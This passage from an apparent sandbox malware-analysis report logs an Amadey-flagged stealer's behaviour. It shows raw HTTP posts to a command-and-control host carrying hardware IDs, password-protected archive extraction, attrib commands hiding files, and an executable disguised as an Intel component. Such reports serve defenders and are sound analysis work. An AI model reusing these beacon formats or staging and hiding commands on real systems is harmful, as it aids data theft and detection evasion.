                                                                                                                                                                                                                                                            Data Ascii: --PIRO7Y9F0XTContent-Disposition: form-data; name="hwid"9B23A9306BAD098F00D57F9DDD37BE0C--PIRO7Y9F0XTContent-Disposition: form-data; name="pid"1--PIRO7Y9F0XTContent-Disposition: form-data; name="lid"yau6Na--6989783370--PIRO7Y9F0XT
                                                                                                                                                                                                                                                            2024-12-19 00:11:30 UTC14209OUTData Raw: a4 a2 be b7 6e dc 5a 89 c9 6f 0d 37 33 24 7c f5 12 29 1e 50 51 4b c2 da c6 6e f9 6d 37 3e ba 07 00 b9 05 ae d7 ff 18 35 e6 4f bc 17 8e 45 0f d6 01 a0 4b 3f 94 36 b8 fd e4 f8 0f 56 d3 cd b0 aa 2c 9e 69 9f 3c 30 65 fc da 99 98 67 d6 0e ab 01 57 a8 02 5c b2 72 fa 6f b6 8b 13 60 23 e0 52 ff 5c be b1 7c f8 39 50 9b 91 c4 64 4f 7a da a5 48 a6 f2 13 7a ff 2d 6d e5 a3 21 ea e3 81 af 6c 1b c9 b0 ee 55 5d 6c 2d db 7e f1 e2 41 b1 15 5d 10 5b 91 fd c6 e9 02 fb e4 47 49 d7 e3 a6 24 cc 4c 5b ba d2 84 c8 39 72 0e d2 2e c7 91 74 33 43 5d 72 82 d2 f6 be 01 ec 07 3b 22 ae eb a6 0f cd bf 2b 82 d4 fa 1e 05 5f 0a 7c 03 d4 78 e1 e6 14 e6 bf 35 a6 cb 03 6d fc 84 44 af cf 09 fa 6f 6d 3b cf c3 df 7a 2f 15 6f 5e 8a 52 eb 8f 3d 5a b5 1b 48 4d 79 64 30 cc 8f f2 84 31 cb 5f 31 6d fe
                                                                                                                                                                                                                                                            Data Ascii: nZo73$|)PQKnm7>5OEK?6V,i<0egW\ro`#R\|9PdOzHz-m!lU]l-~A][GI$L[9r.t3C]r;"+_|x5mDom;z/o^R=ZHMyd01_1m
                                                                                                                                                                                                                                                            2024-12-19 00:11:31 UTC1126INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:11:31 GMT
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Transfer-Encoding: chunked
                                                                                                                                                                                                                                                            Connection: close
                                                                                                                                                                                                                                                            Set-Cookie: PHPSESSID=t3g30a97nq63prc0sji9fp4pfv; expires=Sun, 13 Apr 2025 17:58:09 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                            Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                            Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                            Pragma: no-cache
                                                                                                                                                                                                                                                            X-Frame-Options: DENY
                                                                                                                                                                                                                                                            X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                                            X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                                            cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                            vary: accept-encoding
                                                                                                                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MPMd%2FPH%2BGzEyivIzvxQwEw6hAEtZ3c8I71Pd6eBJ2K3odGsmVKxv975Cnbusyi9TV%2Bxa6Eq2Quzia7SsBE2ymq5G0rNUhIjDzz%2BRD%2FvG4p8YQJwBJiyF5x365FQc3vjJ"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            Server: cloudflare
                                                                                                                                                                                                                                                            CF-RAY: 8f432cf99dcb8c24-EWR
                                                                                                                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1822&min_rtt=1817&rtt_var=692&sent=19&recv=35&lost=0&retrans=0&sent_bytes=2831&recv_bytes=30514&delivery_rate=1570736&cwnd=141&unsent_bytes=0&cid=4f0cb5129cb54872&ts=1318&x=0"
                                                                                                                                                                                                                                                            2024-12-19 00:11:31 UTC20INData Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: fok 8.46.123.189
                                                                                                                                                                                                                                                            2024-12-19 00:11:31 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: 0


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                                                                            39192.168.2.550208172.67.179.109443
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            2024-12-19 00:11:32 UTC261OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                            Content-Length: 87
                                                                                                                                                                                                                                                            Host: grannyejh.lat
                                                                                                                                                                                                                                                            2024-12-19 00:11:32 UTC87OUTData Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 79 61 75 36 4e 61 2d 2d 36 39 38 39 37 38 33 33 37 30 26 6a 3d 26 68 77 69 64 3d 39 42 32 33 41 39 33 30 36 42 41 44 30 39 38 46 30 30 44 35 37 46 39 44 44 44 33 37 42 45 30 43
                                                                                                                                                                                                                                                            Data Ascii: act=get_message&ver=4.0&lid=yau6Na--6989783370&j=&hwid=9B23A9306BAD098F00D57F9DDD37BE0C
                                                                                                                                                                                                                                                            2024-12-19 00:11:33 UTC1119INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:11:33 GMT
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Transfer-Encoding: chunked
                                                                                                                                                                                                                                                            Connection: close
                                                                                                                                                                                                                                                            Set-Cookie: PHPSESSID=l7jm236oun1c3kuqmks6ijrkkb; expires=Sun, 13 Apr 2025 17:58:12 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                            Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                            Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                            Pragma: no-cache
                                                                                                                                                                                                                                                            X-Frame-Options: DENY
                                                                                                                                                                                                                                                            X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                                            X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                                            cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                            vary: accept-encoding
                                                                                                                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=C7KDCSkWM%2FiTtN8RLsrWTUnfbLb%2FP0f11VWcTeCdinTPMEO38hg31hSN7f2%2F4LoMeTTry4w7CV30lT14S0bn2kH8R%2F5rBtEA8zINn1qj5ZlCU5pmTzca7PrwLrnyeEin"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            Server: cloudflare
                                                                                                                                                                                                                                                            CF-RAY: 8f432d0a797e5e6b-EWR
                                                                                                                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1984&min_rtt=1821&rtt_var=1010&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=984&delivery_rate=932907&cwnd=247&unsent_bytes=0&cid=08b0ef0f09fa9bb9&ts=825&x=0"
                                                                                                                                                                                                                                                            2024-12-19 00:11:33 UTC54INData Raw: 33 30 0d 0a 76 69 4f 35 65 65 38 42 67 38 37 56 76 2b 31 74 31 6e 50 7a 51 63 51 30 72 57 6a 77 54 4a 37 53 30 56 64 79 31 64 4c 55 7a 43 37 6c 66 67 3d 3d 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: 30viO5ee8Bg87Vv+1t1nPzQcQ0rWjwTJ7S0Vdy1dLUzC7lfg==
                                                                                                                                                                                                                                                            2024-12-19 00:11:33 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: 0


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                                                                            40192.168.2.55029634.226.108.155443
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            2024-12-19 00:15:06 UTC52OUTGET /ip HTTP/1.1
                                                                                                                                                                                                                                                            Host: httpbin.org
                                                                                                                                                                                                                                                            Accept: */*
                                                                                                                                                                                                                                                            2024-12-19 00:15:06 UTC224INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:15:06 GMT
                                                                                                                                                                                                                                                            Content-Type: application/json
                                                                                                                                                                                                                                                            Content-Length: 31
                                                                                                                                                                                                                                                            Connection: close
                                                                                                                                                                                                                                                            Server: gunicorn/19.9.0
                                                                                                                                                                                                                                                            Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                                            Access-Control-Allow-Credentials: true
                                                                                                                                                                                                                                                            2024-12-19 00:15:06 UTC31INData Raw: 7b 0a 20 20 22 6f 72 69 67 69 6e 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 0a 7d 0a
                                                                                                                                                                                                                                                            Data Ascii: { "origin": "8.46.123.189"}


                                                                                                                                                                                                                                                            Statistics

                                                                                                                                                                                                                                                            CPU Usage

                                                                                                                                                                                                                                                            Click to jump to process

                                                                                                                                                                                                                                                            Memory Usage

                                                                                                                                                                                                                                                            Click to jump to process

                                                                                                                                                                                                                                                            High Level Behavior Distribution

                                                                                                                                                                                                                                                            Click to dive into process behavior distribution

                                                                                                                                                                                                                                                            Behavior

                                                                                                                                                                                                                                                            Click to jump to process

                                                                                                                                                                                                                                                            System Behavior

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            Target ID:0
                                                                                                                                                                                                                                                            Start time:19:08:14
                                                                                                                                                                                                                                                            Start date:18/12/2024
                                                                                                                                                                                                                                                            Path:C:\Users\user\Desktop\file.exe
                                                                                                                                                                                                                                                            Wow64 process (32bit):true
                                                                                                                                                                                                                                                            Commandline:"C:\Users\user\Desktop\file.exe"
                                                                                                                                                                                                                                                            Imagebase:0x860000
                                                                                                                                                                                                                                                            File size:2'936'832 bytes
                                                                                                                                                                                                                                                            MD5 hash:8CBE0CED0C0F7BFBDF19128BA80ADB99
                                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                            Yara matches:
                                                                                                                                                                                                                                                            • Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.2144231187.0000000004EA0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                            • Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.2184521410.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                            Reputation:low
                                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            Target ID:2
                                                                                                                                                                                                                                                            Start time:19:08:17
                                                                                                                                                                                                                                                            Start date:18/12/2024
                                                                                                                                                                                                                                                            Path:C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                            Wow64 process (32bit):true
                                                                                                                                                                                                                                                            Commandline:"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
                                                                                                                                                                                                                                                            Imagebase:0xa80000
                                                                                                                                                                                                                                                            File size:2'936'832 bytes
                                                                                                                                                                                                                                                            MD5 hash:8CBE0CED0C0F7BFBDF19128BA80ADB99
                                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                            Yara matches:
                                                                                                                                                                                                                                                            • Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.2214523787.0000000000A81000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                            • Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.2173671552.0000000004D20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                            Antivirus matches:
                                                                                                                                                                                                                                                            • Detection: 100%, Avira
                                                                                                                                                                                                                                                            • Detection: 100%, Joe Sandbox ML
                                                                                                                                                                                                                                                            • Detection: 53%, ReversingLabs
                                                                                                                                                                                                                                                            Reputation:low
                                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            Target ID:3
                                                                                                                                                                                                                                                            Start time:19:08:17
                                                                                                                                                                                                                                                            Start date:18/12/2024
                                                                                                                                                                                                                                                            Path:C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                            Wow64 process (32bit):true
                                                                                                                                                                                                                                                            Commandline:C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                            Imagebase:0xa80000
                                                                                                                                                                                                                                                            File size:2'936'832 bytes
                                                                                                                                                                                                                                                            MD5 hash:8CBE0CED0C0F7BFBDF19128BA80ADB99
                                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                            Yara matches:
                                                                                                                                                                                                                                                            • Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.2176314618.0000000005210000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                            • Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.2216554116.0000000000A81000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                            Reputation:low
                                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            Target ID:6
                                                                                                                                                                                                                                                            Start time:19:09:00
                                                                                                                                                                                                                                                            Start date:18/12/2024
                                                                                                                                                                                                                                                            Path:C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                            Wow64 process (32bit):true
                                                                                                                                                                                                                                                            Commandline:C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                            Imagebase:0xa80000
                                                                                                                                                                                                                                                            File size:2'936'832 bytes
                                                                                                                                                                                                                                                            MD5 hash:8CBE0CED0C0F7BFBDF19128BA80ADB99
                                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                            Yara matches:
                                                                                                                                                                                                                                                            • Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2596325671.0000000005210000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                            Reputation:low
                                                                                                                                                                                                                                                            Has exited:false

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            Target ID:7
                                                                                                                                                                                                                                                            Start time:19:09:17
                                                                                                                                                                                                                                                            Start date:18/12/2024
                                                                                                                                                                                                                                                            Path:C:\Users\user\AppData\Local\Temp\1017190001\2ebf261090.exe
                                                                                                                                                                                                                                                            Wow64 process (32bit):true
                                                                                                                                                                                                                                                            Commandline:"C:\Users\user\AppData\Local\Temp\1017190001\2ebf261090.exe"
                                                                                                                                                                                                                                                            Imagebase:0x400000
                                                                                                                                                                                                                                                            File size:4'438'776 bytes
                                                                                                                                                                                                                                                            MD5 hash:3A425626CBD40345F5B8DDDD6B2B9EFA
                                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                            Antivirus matches:
                                                                                                                                                                                                                                                            • Detection: 88%, ReversingLabs
                                                                                                                                                                                                                                                            Reputation:moderate
                                                                                                                                                                                                                                                            Has exited:false

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            Target ID:8
                                                                                                                                                                                                                                                            Start time:19:09:20
                                                                                                                                                                                                                                                            Start date:18/12/2024
                                                                                                                                                                                                                                                            Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                                            Commandline:C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
                                                                                                                                                                                                                                                            Imagebase:0x7ff71fd70000
                                                                                                                                                                                                                                                            File size:289'792 bytes
                                                                                                                                                                                                                                                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                            Reputation:high
                                                                                                                                                                                                                                                            Has exited:false

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            Target ID:9
                                                                                                                                                                                                                                                            Start time:19:09:20
                                                                                                                                                                                                                                                            Start date:18/12/2024
                                                                                                                                                                                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                            Imagebase:0x7ff6d64d0000
                                                                                                                                                                                                                                                            File size:862'208 bytes
                                                                                                                                                                                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                            Reputation:high
                                                                                                                                                                                                                                                            Has exited:false

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            Target ID:10
                                                                                                                                                                                                                                                            Start time:19:09:21
                                                                                                                                                                                                                                                            Start date:18/12/2024
                                                                                                                                                                                                                                                            Path:C:\Windows\System32\mode.com
                                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                                            Commandline:mode 65,10
                                                                                                                                                                                                                                                            Imagebase:0x7ff7f7550000
                                                                                                                                                                                                                                                            File size:33'280 bytes
                                                                                                                                                                                                                                                            MD5 hash:BEA7464830980BF7C0490307DB4FC875
                                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                            Reputation:moderate
                                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            Target ID:11
                                                                                                                                                                                                                                                            Start time:19:09:21
                                                                                                                                                                                                                                                            Start date:18/12/2024
                                                                                                                                                                                                                                                            Path:C:\Users\user\AppData\Local\Temp\main\7z.exe
                                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                                            Commandline:7z.exe e file.zip -p24291711423417250691697322505 -oextracted
                                                                                                                                                                                                                                                            Imagebase:0x6b0000
                                                                                                                                                                                                                                                            File size:468'992 bytes
                                                                                                                                                                                                                                                            MD5 hash:619F7135621B50FD1900FF24AADE1524
                                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                            Antivirus matches:
                                                                                                                                                                                                                                                            • Detection: 0%, ReversingLabs
                                                                                                                                                                                                                                                            Reputation:moderate
                                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            Target ID:12
                                                                                                                                                                                                                                                            Start time:19:09:21
                                                                                                                                                                                                                                                            Start date:18/12/2024
                                                                                                                                                                                                                                                            Path:C:\Users\user\AppData\Local\Temp\main\7z.exe
                                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                                            Commandline:7z.exe e extracted/file_7.zip -oextracted
                                                                                                                                                                                                                                                            Imagebase:0x6b0000
                                                                                                                                                                                                                                                            File size:468'992 bytes
                                                                                                                                                                                                                                                            MD5 hash:619F7135621B50FD1900FF24AADE1524
                                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                            Reputation:moderate
                                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            Target ID:13
                                                                                                                                                                                                                                                            Start time:19:09:21
                                                                                                                                                                                                                                                            Start date:18/12/2024
                                                                                                                                                                                                                                                            Path:C:\Users\user\AppData\Local\Temp\main\7z.exe
                                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                                            Commandline:7z.exe e extracted/file_6.zip -oextracted
                                                                                                                                                                                                                                                            Imagebase:0x6b0000
                                                                                                                                                                                                                                                            File size:468'992 bytes
                                                                                                                                                                                                                                                            MD5 hash:619F7135621B50FD1900FF24AADE1524
                                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                            Reputation:moderate
                                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            Target ID:14
                                                                                                                                                                                                                                                            Start time:19:09:21
                                                                                                                                                                                                                                                            Start date:18/12/2024
                                                                                                                                                                                                                                                            Path:C:\Users\user\AppData\Local\Temp\main\7z.exe
                                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                                            Commandline:7z.exe e extracted/file_5.zip -oextracted
                                                                                                                                                                                                                                                            Imagebase:0x6b0000
                                                                                                                                                                                                                                                            File size:468'992 bytes
                                                                                                                                                                                                                                                            MD5 hash:619F7135621B50FD1900FF24AADE1524
                                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                            Reputation:moderate
                                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            Target ID:15
                                                                                                                                                                                                                                                            Start time:19:09:21
                                                                                                                                                                                                                                                            Start date:18/12/2024
                                                                                                                                                                                                                                                            Path:C:\Users\user\AppData\Local\Temp\main\7z.exe
                                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                                            Commandline:7z.exe e extracted/file_4.zip -oextracted
                                                                                                                                                                                                                                                            Imagebase:0x6b0000
                                                                                                                                                                                                                                                            File size:468'992 bytes
                                                                                                                                                                                                                                                            MD5 hash:619F7135621B50FD1900FF24AADE1524
                                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            Target ID:16
                                                                                                                                                                                                                                                            Start time:19:09:22
                                                                                                                                                                                                                                                            Start date:18/12/2024
                                                                                                                                                                                                                                                            Path:C:\Users\user\AppData\Local\Temp\main\7z.exe
                                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                                            Commandline:7z.exe e extracted/file_3.zip -oextracted
                                                                                                                                                                                                                                                            Imagebase:0x6b0000
                                                                                                                                                                                                                                                            File size:468'992 bytes
                                                                                                                                                                                                                                                            MD5 hash:619F7135621B50FD1900FF24AADE1524
                                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            Target ID:17
                                                                                                                                                                                                                                                            Start time:19:09:22
                                                                                                                                                                                                                                                            Start date:18/12/2024
                                                                                                                                                                                                                                                            Path:C:\Users\user\AppData\Local\Temp\main\7z.exe
                                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                                            Commandline:7z.exe e extracted/file_2.zip -oextracted
                                                                                                                                                                                                                                                            Imagebase:0x6b0000
                                                                                                                                                                                                                                                            File size:468'992 bytes
                                                                                                                                                                                                                                                            MD5 hash:619F7135621B50FD1900FF24AADE1524
                                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            Target ID:18
                                                                                                                                                                                                                                                            Start time:19:09:22
                                                                                                                                                                                                                                                            Start date:18/12/2024
                                                                                                                                                                                                                                                            Path:C:\Users\user\AppData\Local\Temp\main\7z.exe
                                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                                            Commandline:7z.exe e extracted/file_1.zip -oextracted
                                                                                                                                                                                                                                                            Imagebase:0x6b0000
                                                                                                                                                                                                                                                            File size:468'992 bytes
                                                                                                                                                                                                                                                            MD5 hash:619F7135621B50FD1900FF24AADE1524
                                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            Target ID:19
                                                                                                                                                                                                                                                            Start time:19:09:22
                                                                                                                                                                                                                                                            Start date:18/12/2024
                                                                                                                                                                                                                                                            Path:C:\Windows\System32\attrib.exe
                                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                                            Commandline:attrib +H "in.exe"
                                                                                                                                                                                                                                                            Imagebase:0x7ff7f4530000
                                                                                                                                                                                                                                                            File size:23'040 bytes
                                                                                                                                                                                                                                                            MD5 hash:5037D8E6670EF1D89FB6AD435F12A9FD
                                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            Target ID:20
                                                                                                                                                                                                                                                            Start time:19:09:22
                                                                                                                                                                                                                                                            Start date:18/12/2024
                                                                                                                                                                                                                                                            Path:C:\Users\user\AppData\Local\Temp\main\in.exe
                                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                                            Commandline:"in.exe"
                                                                                                                                                                                                                                                            Imagebase:0x7ff632ac0000
                                                                                                                                                                                                                                                            File size:1'827'328 bytes
                                                                                                                                                                                                                                                            MD5 hash:83D75087C9BF6E4F07C36E550731CCDE
                                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            Target ID:21
                                                                                                                                                                                                                                                            Start time:19:09:22
                                                                                                                                                                                                                                                            Start date:18/12/2024
                                                                                                                                                                                                                                                            Path:C:\Windows\System32\attrib.exe
                                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                                            Commandline:attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
                                                                                                                                                                                                                                                            Imagebase:0x7ff7f4530000
                                                                                                                                                                                                                                                            File size:23'040 bytes
                                                                                                                                                                                                                                                            MD5 hash:5037D8E6670EF1D89FB6AD435F12A9FD
                                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            Target ID:22
                                                                                                                                                                                                                                                            Start time:19:09:22
                                                                                                                                                                                                                                                            Start date:18/12/2024
                                                                                                                                                                                                                                                            Path:C:\Windows\System32\attrib.exe
                                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                                            Commandline:attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
                                                                                                                                                                                                                                                            Imagebase:0x7ff7f4530000
                                                                                                                                                                                                                                                            File size:23'040 bytes
                                                                                                                                                                                                                                                            MD5 hash:5037D8E6670EF1D89FB6AD435F12A9FD
                                                                                                                                                                                                                                                            Has elevated privileges:true
